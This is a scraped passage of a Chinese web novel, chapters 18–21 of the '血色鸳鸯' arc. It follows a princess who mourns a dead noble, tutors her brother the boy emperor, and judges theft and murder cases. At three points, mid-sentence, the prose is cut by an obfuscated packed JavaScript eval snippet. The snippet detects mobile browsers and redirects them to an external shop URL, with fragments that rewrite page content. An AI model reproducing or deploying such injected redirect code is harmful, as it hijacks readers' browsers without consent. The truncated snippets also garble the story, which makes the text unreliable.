有时候是去京兆尹府看案子,有时候是去街上走走,有时候只是坐在茶楼里,看着来来往往的人群。 阿蘅每次都跟着,紧张得不得了。 “殿下,您能不能别老往外跑?万一有危险怎么办?” 昀宁看着她,淡淡地说:“有危险就跑。” 阿蘅噎住了。 “跑?您堂堂长公主,遇到危险就跑?” 昀宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316919|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头。 “不然呢?站在那里让人杀?” 阿蘅说不出话来。 她发现殿下变了。 以前殿下虽然聪明,但总带着一丝天真。她会问“雨有没有得选”,会想“去江南看一辈子烟雨”。 现在殿下不问了。 她只是看着,看着,看着。 看着那些人,那些事,那些来来往往的悲欢离合。 有一日,昀宁在茶楼里坐着,忽然听见隔壁桌有人在说话。 “听说了吗?沈家的小公爷没了。” “怎么没的?” “说是谋反,被大皇子害死的。唉,多好的一个人,可惜了。” “可不是嘛。我听说那小公爷人品好,长得也好,京里多少姑娘想嫁给他呢。” “现在说什么都没用了。人死如灯灭,唉。” 昀宁端着茶盏,一动不动。 阿蘅紧张地看着她。 “殿下……” 昀宁放下茶盏,站起身。 “走吧。” 她走出茶楼,走进雪地里。 雪还在下,一片一片,落在她的肩头。 她忽然想起他说过的话。 “臣的心,是真的。” 她抬起头,看着灰蒙蒙的天空。 “我知道。”她在心里说。 那天回到宫里,昀宁去了东宫。 昀昭正在练字,见她进来,抬起头。 “皇姐,你看我写的。” 昀宁走过去,看了一眼。 纸上写着一行字——“民为贵,社稷次之,君为轻。” 她点点头。 “写得好。” 昀昭咧嘴笑了。 “太傅夸我了,说我有进步。” 昀宁在他旁边坐下。 “昀昭,姐姐问你一件事。” 昀昭看着她。 昀宁说:“如果有人犯了法,但他是为了家人才犯的,你说该不该罚?” 昀昭想了想,说:“该罚。但可以罚轻一点。” 昀宁看着他。 “为什么?” 昀昭说:“因为他不是坏人。他只是没办法。” 昀宁沉默了一瞬。 沈淮。 他不是坏人。 他只是没办法。 “皇姐,”昀昭问,“你怎么忽然问这个?” 昀宁摇摇头。 “没什么。随便问问。” 那天夜里,昀宁做了一个梦。 梦里她站在一条很长很长的路上,两边都是雪,白茫茫的一片。她往前走,一直往前走,走了很久很久,终于看见一个人。 他站在路尽头,背对着她。 她想喊他,却喊不出声。 她跑过去,跑到他身后,伸手去拉他。 他回过头。 是沈淮。 他看着她,笑着对她说—— “殿下,您来了。” 日子一天一天过去。 雪化了,天暖了,春天来了。 御花园里的桃花开了,粉粉白白的一片,像是天边的云霞落到了人间。昀昭有时会拉着昀宁去看桃花,站在树下,指着那些花,说这朵好看,那朵也好看。 “皇姐,你看那朵!”他指着一朵粉色的桃花,笑得眉眼弯弯。 昀宁点点头。 “嗯,好看。” 昀昭歪着头看她,忽然问:“皇姐,你想去看江南的烟雨吗?” 昀宁愣了一下。 昀昭说:“你以前说过,想去江南看一辈子烟雨。现在还想去吗?” 昀宁沉默了很久。 然后她摇摇头。 “不想了。” 昀昭看着她,眼睛里满是心疼。 “皇姐……” 昀宁笑了笑,伸手揉了揉他的头发。 “去吧,去玩吧。姐姐在这儿坐一会儿。” 昀昭犹豫了一下,点点头,跑开了。 昀宁站在桃花树下,看着那些粉粉白白的花朵。 她想起很久以前,她对阿蘅说:“等本宫有了驸马,我们就去江南,看一辈子烟雨。” 那时候她以为,她会有驸马,会去江南,会看一辈子的烟雨。 现在她知道,她不会有驸马了。 她也不会去江南了。 她只是站在这里,看着这些桃花,想着一个人。 那个人已经不在了。 但他的眼睛,还在她心里亮着。 亮亮的,像是山间的清泉。 她闭上眼睛,深深地吸了一口气。 风从远处吹来,吹落几片桃花,落在她的肩头。 ——第十八章完—— 19. 血色鸳鸯 8 开春之后,昀宁开始教昀昭批奏折。 起初昀昭是不愿意的。那些奏折又长又臭,满篇都是“臣谨奏”“伏惟圣鉴”“仰祈睿断”,看得他脑袋都大了。 “皇姐,”他趴在案上,有气无力地说,“能不能不批?” 昀宁坐在他旁边,手里也拿着一份奏折,头也不抬地说:“不能。” “为什么?” “因为你是皇帝。” “可是有皇姐在啊。” 昀宁终于抬起头,看着他。 “昀昭,姐姐问你——如果有一天,姐姐不在了,你怎么办?” 昀昭愣住了。 “皇姐怎么会不在?” 昀宁没有回答,只是把手里那份奏折递给他。 “看看这个。” 昀昭接过来,展开。 那是一份来自西北边境的奏报。上面写着,胡人最近频繁在边境活动,有集结的迹象。驻军请求朝廷增派兵力,加固边防。 昀昭看完了,抬起头。 “皇姐,胡人要打过来了吗?” 昀宁摇摇头。 “不知道。可能打,可能不打。但不管打不打,我们都要做好准备。” 她指着奏折上的几行字。 “你看这里,驻军说他们缺粮草,缺兵器,缺人手。这些缺的东西,要从哪儿来?” 昀昭想了想,说:“从户部?” 昀宁点点头。 “那户部的钱从哪儿来?” 昀昭又想了想,说:“从税收?” 昀宁再点头。 “那税收从哪儿来?” 昀昭沉默了。 昀宁说:“税收从老百姓来。老百姓种地、经商、做工,挣了钱,交一部分给朝廷。朝廷用这些钱养军队、修水利、赈灾荒。一环扣一环,哪一个环节出了问题,都会出大事。” 她顿了顿,看着昀昭。 “所以你批这份奏折,不只是批几个字。你要想——给了驻军粮草,户部钱够不够?户部钱不够,要不要加税?加了税,老百姓受不受得了?” 昀昭听得一愣一愣的。 过了很久,他小声说:“当皇帝好难。” 昀宁点点头。 “是难。” 昀昭看着她。 “皇姐,你以前也不知道这些吧?” 昀宁沉默了一瞬。 “不知道。” “那你怎么学会的?” 昀宁想了想,说:“被迫学会的。” 昀昭不懂。 昀宁也没有解释。 她只是拿起另一份奏折,继续看。 那天下午,昀昭批了三份奏折。每批一份,昀宁就给他讲一份。讲里面的门道,讲背后的牵扯,讲可能的影响。 三份奏折批完,昀昭趴在案上,累得像条死狗。 “皇姐,”他有气无力地说,“我能不能歇一会儿?” 昀宁看了他一眼。 “能。歇一刻钟。” 昀昭眼睛一亮,爬起来就跑。 “我去御花园看鱼!” 昀宁看着他的背影,嘴角微微弯了弯。 阿蘅在一旁笑道:“陛下还是小孩子呢。” 昀宁点点头。 “是啊。还是小孩子。” 她低下头,继续看奏折。 阿蘅看着她,忽然有些心疼。 与殿下同岁的姑娘,本该在闺中绣花、赏花、想着心上人。可殿下却坐在这里,批着这些枯燥的奏折,想着那些复杂的事。 “殿下,”阿蘅小声说,“您也歇一会儿吧。” 昀宁摇摇头。 “把这些看完再说。” 阿蘅叹了口气,不再说话。 那天夜里,昀宁批完最后一份奏折,已经是亥时了。 她站起身,活动了一下僵硬的肩膀,走到窗前。 窗外,月光很亮。 她忽然想起小时候,她也曾这样站在窗前,看着月亮,想着“雨有没有得选”。 那时候她觉得,雨没有得选,很可怜。 现在她知道,人也没有得选。 她也没有。 三月十五,春分。 这一天,昀宁带着昀昭出了宫。 这是昀昭登基以来,第一次出宫。他高兴得不得了,一路上掀开车帘往外看,看什么都新鲜。 “皇姐!那个是什么?” “糖人。” “那个呢?” “面人。” “那个那个,那个在冒烟的是什么?” “烤红薯。” 昀昭吸了吸鼻子。 “好香。” 昀宁看了他一眼,对车夫说:“停一下。” 她下了车,去那个摊子上买了一个烤红薯,递给昀昭。 昀昭接过来,烫得直吹气,却舍不得放下。 “皇姐,我能吃吗?” 昀宁点点头。 昀昭小心翼翼地剥开皮,咬了一口。 “好吃!” 昀宁看着他,心里忽然有些酸。 他是皇帝,却连烤红薯都没吃过。 马车继续往前走,最后停在一个巷口。 “到了。”昀宁说。 昀昭跟着她下车,好奇地看着四周。 “皇姐,这是什么地方?” 昀宁说:“京兆尹府的后面。今天有个案子要审,你来旁听。” 昀昭愣了一下。 “审案子?” 昀宁点点头,带着他走进一扇小门。 里面是一个小院子,摆着几张桌椅,几个衙役站在一旁。周文见他们来,连忙迎上来。 “殿下,陛下。” 昀昭摆摆手,眼睛却盯着院子中间跪着的那个人。 那是个年轻人,二十岁出头,穿着破旧的衣裳,低着头,浑身发抖。 昀宁在桌后坐下,让昀昭坐在她旁边。 “开始吧。”她说。 周文清了清嗓子,开始念案情。 案情很简单——这个年轻人叫李二,是个脚夫,靠给人送货为生。三天前,他在街上捡到一个钱袋,里面装着五两银子。他没有上交,而是拿去买了一袋米,给他生病的母亲熬粥喝。 失主找上门来,告他偷窃。 “李二,”周文问,“你可知罪?” 李二跪在地上,头都不敢抬。 “草民……草民知罪。草民不该捡了钱不还。可是……可是草民的娘病了,几天没吃饭,草民实在是没办法……” 他说着说着,哭了起来。 周文看向昀宁。 昀宁没有说话,只是看着跪在地上的李二。 过了很久,她开口。 “李二,你抬起头来。” 李二抬起头,满脸是泪。 昀宁看着他,问:“你娘现在怎么样了?” 李二说:“好多了。吃了那袋米,能下床走动了。” 昀宁点点头。 她又问:“那五两银子,还剩多少?” 李二说:“花了二两,还剩三两。草民想还回去,可是……可是失主已经把草民告了。” 昀宁沉默了一瞬。 然后她看向周文。 “失主何在?” 周文让人把失主带上来。 失主是个中年人,穿着绸衫,一看就是有钱人。他见了昀宁,连忙跪下。 “草民参见贵人。” 昀宁看着他,问:“你丢了多少钱?” 失主说:“五两。” 昀宁又问:“你丢钱的地方,是什么地方?” 失主愣了一下,说:“是……是东街的茶馆门口。” 昀宁点点头。 “李二捡钱的地方,也是东街的茶馆门口。这说明他没有偷,只是捡。” 失主急了。 “可是捡了不还,也是不对的!” 昀宁看着他,目光平静。 “你说得对,捡了不还,是不对。所以本宫判李二,把那三两银子还给你。” 失主愣住了。 “那……那还有二两呢?” 昀宁说:“那二两,他给他娘买米了。他娘病了,几天没吃饭,那二两银子救了他娘的命。你若是想要那二两银子,本宫可以替他还。” 失主说不出话来。 昀宁看着他,继续说:“但你也要想清楚——你若拿了那二两银子,李二的娘可能又会饿着。她若是饿死了,那两条人命,算谁的?” 失主的脸色变得很难看。 过了很久,他低下头。 “草民……草民不要那二两了。” 昀宁点点头。 “那好。李二还你三两,这件事就此了结。” 李二跪在地上,磕头如捣蒜。 “多谢贵人!多谢贵人!” 昀宁看着他,忽然问:“李二,你以后还捡了钱不还吗?” 李二愣了一下,随即摇头。 “不捡了!再也不捡了!” 昀宁点点头。 “去吧。好好照顾你娘。” 李二磕了几个头,爬起来跑了。 案子审完了。 昀昭坐在旁边,从头看到尾,一句话都没说。 回去的路上,他忽然问:“皇姐,你为什么判李二只还三两?” 昀宁看着他。 “你觉得该判多少?” 昀昭想了想,说:“按理说,他捡了钱不还,应该全还。可是……” “可是什么?” 昀昭说:“可是他娘病了。他不买米,他娘就会饿死。他没办法。” 昀宁点点头。 “那你觉得,那个失主该不该要那二两?” 昀昭又想了想,说:“不该。因为他不缺那二两,李二缺。” 昀宁看着他,微微笑了笑。 “你长大了。” 昀昭愣了一下,随即咧嘴笑了。 “是皇姐教得好。” 那天晚上,昀宁回到摘星阁,在窗前坐了很久。 她想起白天那个案子。 想起李二跪在地上,满脸是泪。 想起他说“草民实在是没办法”。 沈淮。 他也是没办法。 她闭上眼睛,深深地吸了一口气。 然后她睁开眼睛,拿起一份奏折,继续批。 第二天,昀宁又去了京兆尹府。 这次是个大案子。 一个富商的儿子,打死了一个卖花的姑娘。 姑娘十六岁,父母双亡,靠卖花为生。那天她在街上卖花,富商的儿子骑马经过,嫌她挡了路,一鞭子抽过去。姑娘躲闪不及,摔倒在地,脑袋撞在石头上,当场就没了气。 富商的儿子被衙役抓了,关在大牢里。但他爹有钱有势,到处托人,想把儿子捞出来。 周文看着昀宁,小心翼翼地问:“殿下,这个案子……怎么判?” 昀宁看着他,目光平静。 “按律该怎么判?” 周文说:“按律,打死人者,偿命。” 昀宁点点头。 “那就偿命。” 周文愣了一下。 “可是……可是那富商说,愿意赔钱。一万两。” 昀宁没有说话。 周文继续说:“姑娘的父母都死了,没有亲人。赔了钱,也没人领。要不……” “周主簿。”昀宁打断他。 周文闭上嘴。 昀宁看着他,一字一句地说:“姑娘死了,没有亲人,就不用偿命了吗?” 周文低下头。 “下官不是这个意思。” 昀宁站起身,走到窗前。 “那富商有钱,能买通很多人。但本宫想问你一句话——” 她转过身,看着周文。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316920|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如果今天被打死的,是你的女儿,你还会说‘赔钱了事’吗?” 周文的脸色变得惨白。 他跪了下去。 “殿下,下官知错。” 昀宁看着他,沉默了很久。 然后她开口。 “按律判。杀人偿命。” 周文深深叩首。 “下官遵命。” 那天夜里,昀宁回到宫里,去了一趟东宫。 昀昭还没睡,正在看书。见她进来,他抬起头。 “皇姐,你今天审的那个案子,我听说了。” 昀宁在他旁边坐下。 “你觉得判得对吗?” 昀昭想了想,说:“对。” 昀宁看着他。 “为什么?” 昀昭说:“因为那个姑娘死了。她死了,就不能活过来。她爹娘死了,没人替她说话。如果皇姐也不替她说话,那就没人替她说话了。” 他顿了顿,又说:“皇帝要替所有人说话,尤其是那些没人替他们说话的人。” 昀宁看着他,眼眶忽然有些发酸。 她伸出手,把他揽进怀里。 昀昭愣住了。 “皇姐?” 昀宁没有说话,只是抱着他。 过了很久,她松开手,看着他。 “昀昭,”她说,“你会是个好皇帝的。” 昀昭咧嘴笑了。 “是皇姐教得好。” 那天夜里,昀宁回到摘星阁,在窗前坐了许久。 她想起那个卖花的姑娘。 十六岁,和她差不多的年纪。 姑娘死了,没有人替她说话。 她替她说了。 但她知道,这世上,还有很多姑娘,很多像那个姑娘一样的人,没有人替她们说话。 她替不过来。 她只能尽力。 能替一个是一个。 四月十五,谷雨。 这一天,昀宁又出了一趟宫。 这次没有带昀昭,只带了阿蘅。 她们换上寻常的衣裳,像两个普通的女子,走在街上。 街上人来人往,叫卖声此起彼伏。 阿蘅有些紧张,东张西望的,生怕有人认出她们。 昀宁却走得很坦然。 她看着那些摊贩,那些行人,那些来来往往的百姓,心里忽然有一种奇怪的感觉。 很久以前,她也这样走在街上。 那时候她戴着面具,穿着男装,心里满是兴奋和好奇。 那时候她觉得,外面的世界真热闹,真好玩。 现在她走在这里,心里想的却是——这些人,他们过得好不好?他们有没有饭吃?有没有衣穿?有没有人欺负他们? 她忽然想起一句话。 母后曾经说过:“昀宁,当你开始替别人想的时候,你就长大了。” 她长大了。 可她宁愿没有长大。 “殿下,”阿蘅忽然拉了拉她的袖子,“您看那边。” 昀宁顺着她的目光看过去。 街角,一个卖糖人的摊子前,站着一个小姑娘。她穿着打补丁的衣裳,踮着脚,眼巴巴地看着那些糖人。 摊主是个老大爷,笑眯眯地问:“小姑娘,想买哪个?” 小姑娘摇摇头,小声说:“我没钱。” 老大爷愣了一下,随即笑了。 “没钱也没关系。来,爷爷送你一个。” 他拿起一个兔子形状的糖人,递给小姑娘。 小姑娘接过糖人,眼睛亮了。 “谢谢爷爷!” 她捧着糖人,跑了。 昀宁站在原地,看着那个小姑娘跑远的背影。 她忽然想起那年上巳节。 她的眼眶有些发酸。 阿蘅小心翼翼地看着她。 “殿下?” 昀宁深吸一口气,摇摇头。 “没事。走吧。” 她们继续往前走。 走到街尾,忽然听见一阵喧哗。 “抓小偷!抓小偷!” 一个年轻人从她们身边跑过,手里攥着一个钱袋。后面跟着几个人,边追边喊。 昀宁看着那个年轻人跑远的背影。 她忽然认出他来。 是李二。 那个给她娘买米的脚夫。 阿蘅也认出来了。 “殿下,那不是……” 昀宁点点头。 “是他。” 阿蘅愣住了。 “他怎么又……” 昀宁没有说话。 她只是站在那里,看着李二消失在人群中。 那天回到宫里,昀宁让人去查了李二。 第二天,消息传来。 李二的娘,死了。 病死的。 李二没钱抓药,眼睁睁看着娘咽了气。 他娘死后,他没钱安葬,只好去偷。 偷了三个钱袋,凑够了棺材钱。 昀宁听着暗卫的禀报,一言不发。 阿蘅在一旁,眼眶红了。 “殿下,他……” 昀宁沉默了很久。 然后她开口。 “让周文去一趟。偷的钱,本宫替他还。告诉他,以后别再偷了。” 阿蘅点点头,转身出去了。 昀宁站在窗前,看着窗外的天空。 天很蓝,有几朵白云悠悠地飘着。 她忽然想起李二跪在地上,满脸是泪的样子。 她帮得了他一次,帮不了他一世。 这世上,有太多的人,太多的事,她帮不了。 她只能尽力。 尽力做一个好公主。 尽力帮那些能帮的人。 尽力让这个世道,好一点点。 窗外,风吹进来,带着初夏的暖意。 ——第十九章完—— 20. 血色鸳鸯 9 五月端午,京城里热闹非凡。 一大早,街上就挤满了人。卖粽子的、卖艾草的、卖雄黄酒的,吆喝声此起彼伏。还有那些划旱船的、舞狮子的、踩高跷的,一路走一路演,引得人群阵阵喝彩。 昀宁站在茶楼的二层,看着下面的人潮。 阿蘅在一旁嗑瓜子,嗑得津津有味。 “殿下,您不下去看看?今儿个可热闘了。” 昀宁摇摇头。 “这儿挺好。” 阿蘅知道她不喜欢往人堆里挤,也不勉强,只是继续嗑瓜子。 这间茶楼是昀宁偶然发现的,位置偏僻,客人不多,但茶水不错,从二楼窗户望出去,能看见半条街。她偶尔出宫,就会来这里坐坐,看看下面的人来人往。 “殿下,”阿蘅忽然指着下面,“您看那个人。” 昀宁顺着她的手指看过去。 街角,一个穿着灰布衣裳的老妇人蹲在地上,面前摆着一个小摊子,上面放着几个粽子。她的旁边站着一个年轻人,正在和她说着什么。 那年轻人昀宁认得。 是李二。 那个偷钱葬母的脚夫。 自上次那件事后,周文按昀宁的意思,帮他还了钱,又给他找了个正经活计——在码头扛货。虽说辛苦,但好歹是条正路。 此刻李二蹲在老妇人身边,从怀里掏出几个铜板,塞到她手里。老妇人推辞,他不肯,硬是塞了进去。然后他站起身,扛起旁边一袋货,走了。 老妇人看着他的背影,抹了抹眼睛。 阿蘅看着这一幕,眼眶也有些发酸。 “殿下,李二变好了。” 昀宁点点头。 “人都会变。有人变坏,有人变好。” 阿蘅看着她,小声问:“殿下,您变了吗?” 昀宁沉默了一瞬。 “变了。” 阿蘅问:“变好还是变坏?” 昀宁想了想,摇摇头。 “不知道。” 她确实不知道。 她只知道,现在的她,和以前不一样了。 她只能做些力所能及的事。 比如帮一个走投无路的脚夫。 比如替一个卖花的姑娘讨个公道。 比如坐在茶楼里,看着这些人来人往,想着他们过得好不好。 “走吧。”她站起身。 阿蘅愣了一下。 “去哪儿?” 昀宁说:“下去走走。” 阿蘅连忙跟上。 街上人很多,摩肩接踵的。昀宁走在人群里,没有戴面具,没有穿男装,只是穿着寻常的衣裳,像一个普通的年轻女子。 没有人认出她。 也没有人注意她。 她只是人群中的一个。 这种感觉很奇怪。 以前她偷溜出宫,总要扮成别人。现在她不用扮了,走在人群里,也没人知道她是谁。 她忽然有些明白,为什么沈淮喜欢在街上走。 因为在这里,你不是公主,不是殿下,不是任何人。 你只是你自己。 “卖粽子咧!新鲜的粽子!” 一个声音把她拉回来。 她转过头,看见那个老妇人正守着她的小摊子,面前摆着几个粽子,用荷叶包着,看上去很素净。 昀宁走过去,蹲下身子。 “老人家,粽子怎么卖?” 老妇人抬起头,露出一张满是皱纹的脸。 “三文钱一个。姑娘要几个?” 昀宁看了看那些粽子。 “这几个我都要了。” 老妇人眼睛一亮,连忙把粽子包起来。 “多谢姑娘!多谢姑娘!” 昀宁接过粽子,从袖中摸出一块碎银子,放在她手里。 老妇人愣住了。 “姑娘,这……这太多了……” 昀宁摇摇头。 “不多。您拿着。” 她站起身,走了。 走出几步,她忽然听见身后传来一阵喧哗。 “让开让开!都让开!” 她回过头,看见几个穿着绸衫的人从街那头走过来,横冲直撞的,推搡着路上的行人。为首的是一个年轻人,二十出头,满脸骄横。 他走到老妇人的摊子前,一脚踢翻了那些粽子。 “老东西,谁让你在这儿摆摊的?这是小爷我的地盘!” 老妇人吓得跪在地上,连连磕头。 “公子饶命!公子饶命!民妇不知道这是公子的地盘……” 年轻人冷哼一声。 “不知道?现在知道了?滚!” 他抬起脚,又要踢过去。 一只手忽然抓住了他的胳膊。 年轻人一愣,回过头。 昀宁站在他身后,抓着他的胳膊,目光平静。 “这位公子,”她说,“有话好好说,何必动手?” 年轻人打量了她一眼。 她穿着寻常的衣裳,头上没有珠翠,腰间没有玉佩,一看就不是什么贵人。他冷笑一声,甩开她的手。 “哪来的野丫头?敢管小爷的事?” 昀宁没有生气,只是看着他。 “她只是个卖粽子的老人,你何必为难她?” 年轻人嗤笑一声。 “为难她?这是小爷我的地盘!她在这儿摆摊,就是占小爷的便宜!” 昀宁问:“这街是你家的?” 年轻人一噎。 昀宁继续说:“若是你家的,你拿地契来。若不是,这街就是朝廷的,是皇上的,是天下人的。她在这儿摆摊,不犯法。” 年轻人瞪着她,一时说不出话来。 旁边的人开始窃窃私语。 “这姑娘是谁?胆子真大。” “不知道。不过她说得对,这街又不是他家的。” “就是就是,欺负一个老人,算什么本事?” 年轻人的脸涨得通红。 “你……你等着!” 他撂下一句狠话,带着人灰溜溜地走了。 昀宁看着他的背影,没有追。 她转过身,蹲下身子,帮老妇人捡起那些散落的粽子。 有些已经踩烂了,不能要了。 老妇人眼泪汪汪的,一个劲儿地道谢。 “姑娘,谢谢你……谢谢你……” 昀宁摇摇头。 “没事。” 她把那些还能吃的粽子捡起来,放回老妇人的篮子里。又从袖中摸出几块碎银子,塞到她手里。 “老人家,今天别摆了。回去歇着吧。” 老妇人看着她,老泪纵横。 “姑娘,你叫什么名字?民妇……民妇要给你立长生牌位……” 昀宁笑了笑,摇摇头。 “不必了。” 她站起身,走了。 阿蘅跟在后面,眼眶红红的。 “殿下,您真好。” 昀宁没有说话。 她只是往前走,走进人群里。 那天回到宫里,昀宁让人去查了那个年轻人。 第二天,消息传来。 那人是户部一个员外郎的儿子,平日里横行霸道,欺压百姓,没少干坏事。 昀宁看着那份密报,沉默了很久。 “阿蘅。” 阿蘅连忙上前。 昀宁说:“让周文去查查这个人。他父亲在户部当差,查查有没有贪墨、受贿、以权谋私的事。” 阿蘅点点头。 “是。” 她转身要走,昀宁忽然叫住她。 “阿蘅。” 阿蘅回过头。 昀宁沉默了一瞬,说:“查清楚之后,该怎么办就怎么办。不用手软。” 阿蘅愣了一下,随即点点头。 “奴婢明白。” 她走了。 昀宁站在窗前,看着窗外的天空。 天很蓝,有几朵白云悠悠地飘着。 那个年轻人的脸 骄横,狂妄,不可一世。 她见过很多这样的脸。 大皇子,二皇子,李崇,周延。 他们都觉得,自己可以为所欲为。 他们都觉得,没人能拿他们怎么样。 但他们错了。 她会让所有人都知道,这天下,还有王法。 五月十五,夏至。 这一天,昀宁又去了茶楼。 阿蘅没有跟来,她去京兆尹府送东西了。昀宁一个人坐在二楼,看着下面的人来人往。 茶楼里很安静,只有几个老人在角落里喝茶聊天。 她端着茶盏,看着窗外,有些出神。 忽然,一阵脚步声传来。 有人上了楼。 昀宁没有回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316921|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只当是别的客人。 那人在她身后站定。 “姑娘,一个人喝茶?” 昀宁的手微微一顿。 这个声音…… 她回过头。 一个年轻人站在她面前,二十出头,穿着寻常的衣裳,脸上带着淡淡的笑。 但那双眼睛,亮亮的,像是山间的清泉。 昀宁的心猛地一跳。 “沈……” 她没说完。 她看清了。 那不是沈淮。 只是一个长得有些像的陌生人。 年轻人看着她,有些疑惑。 “姑娘?你没事吧?” 昀宁摇摇头。 “没事。认错人了。” 年轻人点点头,走到旁边的桌子坐下,要了一壶茶。 昀宁没有再看他。 她只是看着窗外,看着那些来来往往的人。 许久,她闭上眼睛,深深地吸了一口气。 然后她睁开眼睛,放下茶钱,站起身,走了。 走出茶楼,外面阳光很刺眼。 她站在街上,看着那些来来往往的人。 有卖糖人的,有卖粽子的,有卖艾草的,有牵着孩子的妇人,有拄着拐杖的老人。 很久以前,她也这样站在街上。 那时候她戴着面具,穿着男装,心里满是兴奋和好奇。 那时候她觉得,外面的世界真热闹,真好玩。 现在她站在这儿,心里想的却是—— 这些人,他们知不知道,他们的日子,是多少人用命换来的? 沈淮用命换的。 那些死在北门外的南营将士,用命换的。 她深吸一口气,继续往前走。 走到街角,忽然听见一阵哭声。 她顺着声音看过去。 一个小女孩蹲在墙角,抱着膝盖,哭得满脸是泪。 她走过去,蹲下身子。 “小姑娘,你怎么了?” 小女孩抬起头,看见她,哭得更厉害了。 “我……我找不到我娘了……” 昀宁的心微微一软。 “别怕。姐姐帮你找。” 她牵起小女孩的手,站起身,在人群中寻找。 找了很久,终于在一个卖糖人的摊子前,找到了那个焦急的女人。 女人看见小女孩,扑过来一把抱住,哭得稀里哗啦。 “囡囡!囡囡你跑哪儿去了!吓死娘了!” 小女孩也哭了。 “娘!娘!” 母女俩抱在一起,哭了很久。 哭完了,女人拉着小女孩要给昀宁磕头。 昀宁扶住她们。 “不必了。以后看好孩子。” 女人连连点头,千恩万谢地走了。 昀宁站在原地,看着她们走远的背影。 她忽然想起母后。 想起母后抱着她,轻轻拍着她的背。 想起母后说“昀宁,不怕,母后在”。 她闭上眼睛,深深地吸了一口气。 然后她睁开眼睛,继续往前走。 那天回到宫里,昀宁去了一趟东宫。 昀昭正在练字,见她进来,抬起头。 “皇姐!” 昀宁走过去,在他旁边坐下。 “今日练什么?” 昀昭把纸推给她看。 上面写着一行字——“民为邦本,本固邦宁。” 昀宁点点头。 “写得好。” 昀昭咧嘴笑了。 “太傅说,这句话的意思是,老百姓是国家的根本,根本稳固了,国家才能安宁。” 昀宁看着他。 “你觉得对吗?” 昀昭想了想,说:“对。” 昀宁问:“为什么?” 昀昭说:“因为老百姓过不好,就会乱。乱了,国家就不好。” 昀宁点点头。 “还有呢?” 昀昭又想了想,说:“因为皇帝吃的穿的用的,都是老百姓给的。所以要对老百姓好。” 昀宁看着他,微微笑了笑。 “你长大了。” 昀昭嘿嘿一笑。 “是皇姐教得好。” 那天夜里,昀宁回到摘星阁,在窗前坐了许久。 ——第二十章完—— 21. 血色鸳鸯 10 五月二十,小满。 这一日,昀宁难得清闲,没有去京兆尹府,也没有批奏折,只是坐在摘星阁的院子里晒太阳。 阳光暖洋洋的,照在身上,让人有些发懒。院子里那棵槐树开花了,一串串白色的小花挂在枝头,风一吹,就有细碎的花瓣飘落下来,落在石桌上,落在茶盏里,也落在昀宁的肩头。 阿蘅在一旁绣花,绣的是并蒂莲,说是要给昀宁绣个新荷包。 昀宁端着茶盏,看着那些飘落的花瓣,有些出神。 “殿下,”阿蘅忽然开口,“您说,沈小公爷现在在哪儿?” 昀宁的手微微一顿。 阿蘅说完就后悔了,恨不得咬掉自己的舌头。 “殿下,奴婢不是故意的,奴婢就是随口一说……” 昀宁摇摇头。 “没事。” 她把茶盏放下,看着那些槐花。 “他应该在很安静的地方。”她说,“没有争斗,没有阴谋,没有那些烦心事。” 阿蘅看着她,眼眶有些发酸。 “殿下,您还想着他呢。” 昀宁没有说话。 她当然想。 每天都在想。 走在街上看见相似的背影会想,批奏折批累了会想,夜里睡不着会想,就连这槐花飘落的时候,也会想。 但她不会说。 她只是把那些想念,一点一点压下去,压到心底最深处。 “阿蘅,”她忽然问,“你相信人有来世吗?” 阿蘅愣了一下。 “奴婢……奴婢不知道。” 昀宁点点头。 “我也不知道。” 她顿了顿,又说:“但如果真的有,我希望下辈子,能早点遇见他。” 阿蘅的眼泪终于掉下来。 “殿下……” 昀宁看着她,笑了笑。 “哭什么?本宫都不哭。” 阿蘅擦了擦眼泪,小声说:“殿下不哭,奴婢替殿下哭。” 昀宁没有说话。 她只是抬起头,看着那些飘落的槐花。 风一吹,花瓣纷纷扬扬,像一场无声的雪。 那天下午,昀昭来了。 他跑得满头大汗,一进门就喊:“皇姐!皇姐!” 昀宁看着他。 “怎么了?” 昀昭跑到她面前,喘着气说:“太傅给我讲了一个故事,我想讲给皇姐听。” 昀宁点点头。 “说。” 昀昭清了清嗓子,开始讲。 “从前有个皇帝,他很喜欢听好话。有个大臣就天天夸他,说他英明神武,千古一帝。皇帝很高兴,给他升官发财。另一个大臣不夸他,还说真话,皇帝就不高兴,把他贬到外地去了。” 他顿了顿,继续说:“后来敌国打过来了,那个说真话的大臣带着兵守城,守住了。那个说好话的大臣,早就跑了。” 昀宁看着他。 “太傅想告诉你什么?” 昀昭想了想,说:“想告诉我,不要只听好话,要听真话。” 昀宁点点头。 “那你记住了吗?” 昀昭点点头。 